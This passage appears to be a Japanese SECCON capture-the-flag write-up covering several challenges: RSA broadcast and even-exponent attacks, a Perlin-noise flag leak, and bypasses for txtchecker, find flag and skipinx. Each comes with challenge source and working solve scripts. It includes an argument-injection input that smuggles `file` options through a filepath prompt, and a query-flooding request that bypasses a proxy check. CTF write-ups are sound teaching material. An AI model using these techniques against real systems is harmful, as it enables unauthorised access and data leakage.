    n=10778708623873496481084918966385444393601239104663339141341545827042085586887842088551820774640526447988736026000240413289142402279875817417071641806898541877312592741387053430320567460579810221775937443583044458287236371310285871261138109164887717581406051669177596903596329554791553166014385497050622099691977874358876326487816085434199496366401730308189174404349228152833314564255458609864815532870783875462313410496143001157146096101571566353247724883644304339271734879272585121296167477479313355786187629443460084447614985936407388688733961144397706991752435750766547284253679882470229344159434274514031441249391
    e=11
    [+] Cipher Text: 3418272553336520064541623070574780761359201346292525917263436047425587760113922548343905648075268957054718028652654256556268441348250837298635426011730005545675262193115820096722244990600962368761459710991297819556710421575343931535035636518179774812262238134263841699524504401689132483458855711218798419896281930404420786787320109025451103243461475493921900689855687211308240372069194688366049041375747367766244180416646564541825840881449938484183484729176197612530978290725224747157050919772189238708045620897194642706392113561343346970737657544058361852820731673931064706508848481269733656616073204202610701284860
    [+] Public Key:
    n=15424422539219448603211027858071725237035568352520041306358601418807853775866351824682851654203585545784066668874895015279498542162746232104058937455781588098093560716195017648861111083997352761078465190607779319373263633616868913369444457297401568579206526171132771301506718022681722720738371599393789554558724784841806617245824481060063193898767882548276844546029968012104417372617478377642277254343600706069994900298057806744997336972747886055143620817312578373411804816609955861003111850426890844567422517003425274582723717856655133752290500848610291922685772790907224308424330839379039921520128794649028246710147
    e=11
    [+] Cipher Text: 10276855620814903051485572369117271727022358309261826475344005529963381525321913297258330766602862145392558913159697342679943437220502777256104540022276078255919728806068426901029791438490722935045631907744068270502041412875768096901186617372041730418419101809407437807684518390713989373797490008648475166145782042124137855236048700425473915266364822860744031142683870289771757301786867453187784778240529594798602715869564493614908001822358655922520745080875367174949697176016542637598602733816902239926888176108124419675686788675997314065277791026362844425112273371662621120875171800779520693163047544991528631029537
    """
    
    ns = []
    cs = []
    n=22613348679702495219351633545031633063620394355834365312399599057754915315452210989918206531176630892546787541881034831386013453297051998269954756310493861505427550769828866005416603054559728345896907978975079211590296622514425568137515120937738546956240516068925094155443440769592457890749632692855150317796525639109892233235693735487928277772322844743811238272535615952194816471306022873460674076330764587095303516349725454701095437089049025135528886887667435614298245195270962892661988440785326845961972043133501093953478882415310500952548379858409472629446235263930381245654051557633698777106822307542287703907269
    c = 6878732537233753109832483290266651063614447044398347084819777840853165947203507369788126298415036013002661271324860933886111074677232822740045152817461690617990902678312306808891517925776348800496312485748056772141514993834668978209438280861909980008331766402034879910942824260752266756519181315731287191835392922717370337222556297168753207638645117081107598711825773565865229488157636882730142794189855074388448694203639616895758814957039667519557180433384721284006522153895024861666073665233081821430338993433350713318779633939072477125006368493598896255397493627223958200746135515845262560900830032082933876823846
    ns.append(n)
    cs.append(c)
    n=13133014074035138400067665316961915072193507072225500957802085734048457503882599709052833289171035439634567810626509466586090533938912085501623235590019603049964966879606731941546684469579587146870548201820262052498675417210737966888036930071028531478817597870128224258287756042537230981419522821606718525855843240014604664221469197215394225320400437247092986008511984819846062289772969978522076494035299458975949439234097832661865810100120591103118310004297832318549029706300914765772919912295332635372537976879133169404185188378768158913399067963946703531729791315404220844679466149723628749712619382058108386560451
    c = 12256225936835976787019680958336212278044118862465520800553544614087223806626860766290399176688590330102297301461074146408453010087764709934662765753500496656279140005596745634200532522203705332746267215893371465619817212006180188737998922881114480063713976315623175075706144613411969772989639510491385378872944655147840563607788108468029096540066811944465074011663710453301515542235299684259486183739177126116527412080613020730995435610495120806176717748413565126934819276984211501695713346423058207564958748731759722987805875085856618165750685787734749229632251955372955623529555669994809992735608033385868808239114
    ns.append(n)
    cs.append(c)
    n=16123968586884933733389574291090914963167150419289874128348128872079229709540830478901870144045528476121264647347085694986698336712182802424687184091361517637506394689515675363343349624495437931954684618875268085545315821571788494549022427977385174327073591580049030420788831195858470152487900922238839044980345001556929363995380814026375959360628717964645904859132706622763021507075036041649231842587774215787970288186683422381737588068390450677248226880323895544567226145425840512539437539583025276852910269801339827230226401906679990392759959459271813793047558522035131051438040341019219030981740556149390487603467
    c = 11331105292061989501032149514156450465805173159909131280723989710674237030363750872548867430904389751159310018284842221846445095489793695163730793322816822511557106286430809333926432810847849939546667114001971805685647530615137286026457496123256864567354912625327463945465830474419792573263934905912525150110930342116768789614995391794926048075000757152906266649596756304901256262778931653173869467636613252714792799741633245432091794124468296008851778732084272142664458682799302529900574165723080507233042276267304460311355451924278486409408816619876612291321116991718221857013638562426760760544112596495363069149984
    ns.append(n)
    cs.append(c)
    n=10778708623873496481084918966385444393601239104663339141341545827042085586887842088551820774640526447988736026000240413289142402279875817417071641806898541877312592741387053430320567460579810221775937443583044458287236371310285871261138109164887717581406051669177596903596329554791553166014385497050622099691977874358876326487816085434199496366401730308189174404349228152833314564255458609864815532870783875462313410496143001157146096101571566353247724883644304339271734879272585121296167477479313355786187629443460084447614985936407388688733961144397706991752435750766547284253679882470229344159434274514031441249391
    c = 3418272553336520064541623070574780761359201346292525917263436047425587760113922548343905648075268957054718028652654256556268441348250837298635426011730005545675262193115820096722244990600962368761459710991297819556710421575343931535035636518179774812262238134263841699524504401689132483458855711218798419896281930404420786787320109025451103243461475493921900689855687211308240372069194688366049041375747367766244180416646564541825840881449938484183484729176197612530978290725224747157050919772189238708045620897194642706392113561343346970737657544058361852820731673931064706508848481269733656616073204202610701284860
    ns.append(n)
    cs.append(c)
    n=15424422539219448603211027858071725237035568352520041306358601418807853775866351824682851654203585545784066668874895015279498542162746232104058937455781588098093560716195017648861111083997352761078465190607779319373263633616868913369444457297401568579206526171132771301506718022681722720738371599393789554558724784841806617245824481060063193898767882548276844546029968012104417372617478377642277254343600706069994900298057806744997336972747886055143620817312578373411804816609955861003111850426890844567422517003425274582723717856655133752290500848610291922685772790907224308424330839379039921520128794649028246710147
    c = 10276855620814903051485572369117271727022358309261826475344005529963381525321913297258330766602862145392558913159697342679943437220502777256104540022276078255919728806068426901029791438490722935045631907744068270502041412875768096901186617372041730418419101809407437807684518390713989373797490008648475166145782042124137855236048700425473915266364822860744031142683870289771757301786867453187784778240529594798602715869564493614908001822358655922520745080875367174949697176016542637598602733816902239926888176108124419675686788675997314065277791026362844425112273371662621120875171800779520693163047544991528631029537
    ns.append(n)
    cs.append(c)
    
    C = crt(cs, ns)
    N = prod(ns)
    print(long_to_bytes(int(C ** (1 / 11))))

    SECCON{Can_you_find_d_in_bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbdbbbbbbbbbbbbbbbbbbbbbbbbbbbbb?}

    pqpq

    112 solves

    problem.py
    from Crypto.Util.number import *
    from Crypto.Random import *
    from flag import flag
    
    p = getPrime(512)
    q = getPrime(512)
    r = getPrime(512)
    n = p * q * r
    e = 2 * 65537
    
    assert n.bit_length() // 8 - len(flag) > 0
    padding = get_random_bytes(n.bit_length() // 8 - len(flag))
    m = bytes_to_long(padding + flag)
    
    assert m < n
    
    c1p = pow(p, e, n)
    c1q = pow(q, e, n)
    cm = pow(m, e, n)
    c1 = (c1p - c1q) % n
    c2 = pow(p - q, e, n)
    
    print(f"e = {e}")
    print(f"n = {n}")
    # p^e - q^e mod n
    print(f"c1 = {c1}")
    # (p-q)^e mod n
    print(f"c2 = {c2}")
    # m^e mod n
    print(f"cm = {cm}")

    c1=peqemodnc_1 = p^e - q^e \mod nc2=(pq)emodnc_2 = (p - q)^{e} \mod n が既知です。 c2=(pq)e=pe+qemodnc_2 = (p - q)^e = p^e + q^e \mod n (eiseven\because e \mathrm{\,is\,even}) が成り立つため、 c1+c2=2pemodnc_1 + c_2 = 2p^e \mod n です。これと nn の gcd を取ることで pp が求まります。 qq も同様です。p,qp, q がわかれば rr もわかります。

    この問題の厄介ポイントは ee が偶数であるために ed=1modϕed = 1 \mod \phi なる dd が存在しないことです (ϕ\phi が偶数なので)。そのため、 cm=memodnc_m = m^e \mod n となる mm は複数通り存在します。 これらをすべて求めるため、 cm=memodpc_m = m^e \mod p となる mm をまず列挙します。 4p14 | p - 1, 8p18 \nmid p - 1 なので ed=1modϕ/4ed = 1 \mod \phi / 4 となる dd と位数が4となる LLkϕ/4modpk^{\phi / 4} \mod p により探します。これらを使って、 cmdLimodpc_m^d L^i \mod p (0i<40 \le i < 4) を計算したものが解候補になります。これを q,rq, r についても同様に行い、それぞれの CRT を計算することで cm=memodnc_m = m^e \mod n の解候補を列挙できます。

    solve.sage
    from Crypto.Util.number import long_to_bytes
    
    
    e = 131074
    n = 587926815910957928506680558951380405698765957736660571041732511939308424899531125274073420353104933723578377320050609109973567093301465914201779673281463229043539776071848986139657349676692718889679333084650490543298408820393827884588301690661795023628407437321580294262453190086595632660415087049509707898690300735866307908684649384093580089579066927072306239235691848372795522705863097316041992762430583002647242874432616919707048872023450089003861892443175057
    c1 = 92883677608593259107779614675340187389627152895287502713709168556367680044547229499881430201334665342299031232736527233576918819872441595012586353493994687554993850861284698771856524058389658082754805340430113793873484033099148690745409478343585721548477862484321261504696340989152768048722100452380071775092776100545951118812510485258151625980480449364841902275382168289834835592610827304151460005023283820809211181376463308232832041617730995269229706500778999
    c2 = 46236476834113109832988500718245623668321130659753618396968458085371710919173095425312826538494027621684566936459628333712619089451210986870323342712049966508077935506288610960911880157875515961210931283604254773154117519276154872411593688579702575956948337592659599321668773003355325067112181265438366718228446448254354388848428310614023369655106639341893255469632846938342940907002778575355566044700049191772800859575284398246115317686284789740336401764665472
    cm = 357982930129036534232652210898740711702843117900101310390536835935714799577440705618646343456679847613022604725158389766496649223820165598357113877892553200702943562674928769780834623569501835458020870291541041964954580145140283927441757571859062193670500697241155641475887438532923910772758985332976303801843564388289302751743334888885607686066607804176327367188812325636165858751339661015759861175537925741744142766298156196248822715533235458083173713289585866
    
    p = int(gcd(c1 + c2, n))
    q = int(gcd(c1 - c2, n))
    r = n // p // q
    
    phi = p - 1
    k = 3
    lamb = phi // 4
    L = pow(k, lamb, p)
    dp = int(pow(e, -1, lamb))
    cp = cm % p
    mp = [pow(cp, dp, p) * pow(L, i, p) % p for i in range(4)]
    
    phi = q - 1
    k = 5
    lamb = phi // 8
    L = pow(k, lamb, q)
    dq = int(pow(e, -1, lamb))
    cq = cm % q
    mq = [pow(cq, dq, q) * pow(L, i, q) % q for i in range(8)]
    
    phi = r - 1
    k = 5
    lamb = phi // 4
    L = pow(k, lamb, r)
    dr = int(pow(e, -1, lamb))
    cr = cm % r
    mr = [pow(cr, dr, r) * pow(L, i, r) % r for i in range(4)]
    
    for _mp in mp:
        for _mq in mq:
            for _mr in mr:
                flag = long_to_bytes(int(crt([_mp, _mq, _mr], [p, q, r])))
                if b"SECCON" in flag:
                    print(flag)

    SECCON{being_able_to_s0lve_this_1s_great!}

    misc

    noiseccon

    22 solves

    index.js
    const { noise } = require("./perlin.js");
    const sharp = require("sharp");
    const crypto = require("node:crypto");
    const readline = require("node:readline").promises;
    
    const FLAG = process.env.FLAG ?? console.log("No flag") ?? process.exit(1);
    const WIDTH = 256;
    const HEIGHT = 256;
    
    console.log(
      `   _   _       _             ____                           _
      | \\ | | ___ (_)___  ___   / ___| ___ _ __   ___ _ __ __ _| |_ ___  _ __
      |  \\| |/ _ \\| / __|/ _ \\ | |  _ / _ \\ '_ \\ / _ \\ '__/ _\` | __/ _ \\| '__|
      | |\\  | (_) | \\__ \\  __/ | |_| |  __/ | | |  __/ | | (_| | || (_) | |
      |_| \\_|\\___/|_|___/\\___|  \\____|\\___|_| |_|\\___|_|  \\__,_|\\__\\___/|_|
      `
    );
    
    console.log(`Flag length: ${FLAG.length}`);
    console.log(`Image width: ${WIDTH}`);
    console.log(`Image height: ${HEIGHT}`);
    
    const paddedFlag = [
      ...crypto.randomBytes(8), // random prefix
      ...Buffer.from(FLAG),
      ...crypto.randomBytes(8), // random suffix
    ];
    
    // bytes_to_long
    let flagInt = 0n;
    for (const b of Buffer.from(paddedFlag)) {
      flagInt = (flagInt << 8n) | BigInt(b);
    }
    
    const generateNoise = async (scaleX, scaleY) => {
      const div = (x, y) => {
        const p = 4;
        return Number(BigInt.asUintN(32 + p, (x * BigInt(1 << p)) / y)) / (1 << p);
      };
    
      const offsetX = div(flagInt, scaleX);
      const offsetY = div(flagInt, scaleY);
    
      noise.seed(crypto.randomInt(65536));
      const colors = [];
      for (let y = 0; y < HEIGHT; y++) {
        for (let x = 0; x < WIDTH; x++) {
          let v = noise.perlin2(offsetX + x * 0.05, offsetY + y * 0.05);
          v = (v + 1.0) * 0.5; // [-1, 1] -> [0, 1]
          colors.push((v * 256) | 0);
        }
      }
    
      const image = await sharp(Uint8Array.from(colors), {
        raw: {
          width: WIDTH,
          height: HEIGHT,
          channels: 1,
        },
      })
        .webp({ lossless: true })
        .toBuffer();
      return image;
    };
    
    const main = async () => {
      const rl = readline.createInterface({
        input: process.stdin,
        output: process.stdout,
        terminal: false,
      });
    
      const toBigInt = (value) => {
        if (value.length > 100) {
          console.log(`Invalid value: ${value}`);
          process.exit(1);
        }
        const result = BigInt(value);
        if (result <= 0n) {
          console.log(`Invalid value: ${value}`);
          process.exit(1);
        }
        return result;
      };
    
      const query = async () => {
        const scaleX = toBigInt(await rl.question("Scale x: "));
        const scaleY = toBigInt(await rl.question("Scale y: "));
    
        const image = await generateNoise(scaleX, scaleY);
        console.log(image.toString("base64"));
      };
      await query();
    
      rl.close();
    };
    
    main();

    パーリンノイズというものに関する問題。 ソースコード を眺めていると、 perlin2 の引数の小数点以下の値によって取りうる値が変わることがわかります。 さらに、この問題では div(flagInt, scaleX) などを計算するときに 1/16 の倍数の小数点以下しか現れないようになっています。これが使えそうです。例えば scaleX25629256^{29} (29 はフラグ長21 + padding 8) という値にすると、 div(flagInt, scaleX) の小数点以下はフラグ先頭4bitの値になります。

    scaleXdiv(flagInt, scaleX) の小数点が ϵ\epsilon になるように定め、 scaleY を十分大きな値にし (div(flagInt, scaleY) == 0)、実際に index.js と同じようにノイズ画像を生成させたものを用意し、その image array について img[0:256:20, 0:256:20] の取りうる値を記録していきます。これらの場所では perlin2(n + \epsilon, 0) となっています。

    あとは実際のフラグについてもビットをずらしていきながら画像を入手し、上で得た取りうる値 to ビットのマップを使ってビットを上位から決めていきます。

    (以下のスクリプトは img[0:256:20, 0:256:20] を見るべきところを img[0:128:20, 0:128:20] と見てしまっていました…おそらくそれのせいで探索時に若干変なコードがありますが、そのまま貼ります)

    solve.py
    from base64 import b64decode
    from PIL import Image
    import numpy as np
    import matplotlib.pyplot as plt
    from pwn import remote
    
    
    io = remote("noiseccon.seccon.games", 1337)
    
    
    # これも img[0:128:20, 0:128:20] を見てしまったので間違ってるかも
    sets = [{128}, {128, 135, 136, 119, 120, 127}, {128, 129, 141, 110, 143, 112, 145, 114, 126}, {128, 100, 133, 105, 110, 145, 150, 122, 155}, {128, 99, 166, 137, 109, 146, 118, 89, 156}, {160, 128, 143, 144, 79, 112, 176, 111, 95}, {128, 162, 71, 105, 140, 115, 150, 184, 93}, {128, 65, 162, 100, 134, 121, 155, 93, 190}, {96, 64, 128, 160, 192}, {128, 65, 162, 100, 134, 121, 155, 93, 190}, {128, 162, 71, 105, 140, 115, 150, 184, 93}, {128, 160, 79, 176, 112, 144, 111, 143, 95}, {128, 99, 166, 137, 109, 146, 118, 89, 156}, {128, 100, 133, 105, 110, 145, 150, 122, 155}, {128, 129, 141, 110, 143, 112, 145, 114, 126}, {128, 135, 136, 119, 120, 127}]
    
    
    flag_sets = []
    for i in range(21 * 8):
        io = remote("noiseccon.seccon.games", 1337)
        scale_x = 256 ** (21 + 8) // 2 ** i
        scale_y = 1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
        io.sendlineafter(b"Scale x", str(scale_x).encode())
        io.sendlineafter(b"Scale y", str(scale_y).encode())
        img_path = "/tmp/hoge"
        with open(img_path, "wb") as fp:
            fp.write(b64decode(io.recvline().strip()))
        io.close()
        img = Image.open(img_path)
        img = np.array(img)
        current_set = set(img[0:128:20, 0:128:20, 0].reshape(-1))  # 128 じゃなくて 256 じゃん…
        flag_sets.append(current_set)
    
    
    flag_bits = "0101"
    for i in range(1, 21 * 8):
        flag_set = flag_sets[i]
        if flag_set in sets:
            corres_sets = list(filter(lambda x: x == flag_set, sets))
            if len(corres_sets) == 1:
                idx = sets.index(corres_sets[0])
                if "?" in flag_bits[-3:]:
                    flag_bits = flag_bits[:-3] + f"{idx:04b}"[:3]
                assert flag_bits[-3:] == f"{idx:04b}"[:3]
                flag_bits += f"{idx:04b}"[3]
            elif len(corres_sets) == 0:
                raise ValueError("そんなはずはない")
            else:
                assert len(corres_sets) == 2
                idx0 = sets.index(corres_sets[0])
                idx1 = 16 - idx0
                if "?" in flag_bits[-3:]:
                    n0 = 0
                    n1 = 0
                    for i in range(3):
                        if flag_bits[-3+i] == f"{idx0:04b}"[i]:
                            n0 += 1
                        if flag_bits[-3+i] == f"{idx1:04b}"[i]:
                            n1 += 1
                    if n0 > n1:
                        flag_bits = flag_bits[:-3] + f"{idx0:04b}"[:3]
                    else:
                        flag_bits = flag_bits[:-3] + f"{idx1:04b}"[:3]
                if f"{idx0:04b}"[:3] == flag_bits[-3:]:
                    flag_bits += f"{idx0:04b}"[3]
                else:
                    flag_bits += f"{idx1:04b}"[3]
        else:
            print("そんな…")
            flag_bits += "?"
    print(long_to_bytes(int(flag_bits[:-3], 2)))

    SECCON{p3RLin_W0r1d!}

    txtchecker

    23 solves

    checker.sh
    #!/bin/bash
    
    read -p "Input a file path: " filepath
    file $filepath 2>/dev/null | grep -q "ASCII text" 2>/dev/null
    
    # TODO: print the result the above command.
    #   $? == 0 -> It's a text file.
    #   $? != 0 -> It's not a text file.
    exit 0

    入力した filepath に対して file コマンドを実行してくれますが、標準出力は grep -q に吸われて何も表示してくれません。

    filepathfile のコマンド引数も指定できそうだったので何か使えそうなものはないかあれこれ探しました。チームの Qyn-m0 string SECCON FLAG MATCHED とかかれたテキストファイルを指定すると、 file コマンドの結果が変わることに気づきました。 -m /dev/stdin を指定することで標準入力から 0 string SECCON FLAG MATCHED のような文字列を送れることがわかりました。 これを使って ReDoS ができないかをずっと調べてたのですが、なかなか見つからず諦めかけていたところ (フラグ曰く ReDoS できるっぽいが)、再び @Qyn が filepath=-n -m /dev/stdin -f /dev/stdin とし、 0 string SECCON FLAG MATCHED 入力、 Ctrl+D、の後に flag.txt と入力してエンターを押すと、フラグと前方一致したときにのみタイムアウトするという挙動を見つけました。なんでか全然わかりませんがフラグを1文字ずつリークできることがわかったため、これを使いました。

    solve.py
    from pwn import context, remote
    import string
    
    
    context.log_level = "ERROR"
    
    FLAG = "SECCON{reDo5L"
    while True:
        for c in string.ascii_letters + string.digits + "[email protected]${}":
            print(c)
            while True:
                r = process("sshpass -p ctf ssh -oStrictHostKeyChecking=no -oCheckHostIP=no [email protected] -p 2022 -tt", shell=True)
                try:
                    r.recvuntil(b"Input a file path:")
                    break
                except EOFError:
                    r.close()
            runString = b"-n -m /dev/stdin -f /dev/stdin\r\n"
            r.send(runString)
            r.recvuntil(runString)
            m = f"0 string {FLAG + c} FLAG MATCHED\r\n"
            r.send(m.encode())
            r.recvuntil(m.encode())
            r.send(b"\4\r\n") # control d
            r.recvuntil(b"\r\n")
            r.send(b"\4\r\n")
            r.recvuntil(b"\r\n")
            flag = b"/flag.txt\r\n"
            r.send(flag)
            r.recvuntil(flag)
            r.send(b"\r\n")
            r.recvuntil(b"\r\n")
            r.send(b"\r\n")
            r.recvuntil(b"\r\n")
            data = r.recvall()
            r.close()
            if b"Killed" in data:
                FLAG += c
                print(FLAG)
                break

    SECCON{reDo5L1fe}

    find flag

    100 solves

    server.py
    #!/usr/bin/env python3.9
    import os
    
    FLAG = os.getenv("FLAG", "FAKECON{*** REDUCTED ***}").encode()
    
    def check():
        try:
            filename = input("filename: ")
            if open(filename, "rb").read(len(FLAG)) == FLAG:
                return True
        except FileNotFoundError:
            print("[-] missing")
        except IsADirectoryError:
            print("[-] seems wrong")
        except PermissionError:
            print("[-] not mine")
        except OSError:
            print("[-] hurting my eyes")
        except KeyboardInterrupt:
            print("[-] gone")
        return False
    
    if __name__ == '__main__':
        try:
            check = check()
        except:
            print("[-] something went wrong")
            exit(1)
        finally:
            if check:
                print("[+] congrats!")
                print(FLAG.decode())

    check = check() となっている部分で、 check() で定義されていない Error で落ちると check に False を代入する処理がスキップされ、 check は関数のままになります。このとき bool(check) は True となります。何故か exit(1) を呼んだ後に finally 以下の処理がなされてから終了する挙動をしていたため、これでフラグが読み取れます。 条件を満たすエラーとして、入力を b"\x00" にしました。

    SECCON{exit_1n_Pyth0n_d0es_n0t_c4ll_exit_sysc4ll}

    web

    skipinx

    102 solves

    default.conf
    server {
      listen 8080 default_server;
      server_name nginx;
    
      location / {
        set $args "${args}&proxy=nginx";
        proxy_pass http://web:3000;
      }
    }
    index.js
    const app = require("express")();
    
    const FLAG = process.env.FLAG ?? "SECCON{dummy}";
    const PORT = 3000;
    
    app.get("/", (req, res) => {
      console.log(req.query.proxy);
      console.log(req.query);
      req.query.proxy.includes("nginx")
        ? res.status(400).send("Access here directly, not via nginx :(")
        : res.send(`Congratz! You got a flag: ${FLAG}`);
    });
    
    app.listen({ port: PORT, host: "0.0.0.0" }, () => {
      console.log(`Server listening at ${PORT}`);
    });

    nginx 側で query の proxy に nginx という値が追加されます。app 側では proxy に nginx が含まれていると 400 を返すのでこれを回避する必要があります。

    いろいろ試してみたがうまくいかず、半ば投げやりに ?proxy=a&proxy=a&... という query を試してみたところ、なぜか通ってしまいました。 後から確認したところ、 proxy の数が1001個以上でも、 request.query.proxy は先頭1000個のみという挙動をしていました。 express 側でそういう処理をしてるんですかね。

    solve.py
    import requests
    
    url = "http://localhost:8080?" + "proxy=a&" * 1001
    url = url[:-1]
    r = requests.get(url)
    print(r.text)

    SECCON{sometimes_deFault_options_are_useful_to_bypa55}

    welcome

    welcome

    700 solves

    SECCON{JPY's_drop_makes_it_a_good_deal_to_go_to_the_Finals}

    一番 first blood を取るのが難しいと言われている welcome 問。今回もだめでした。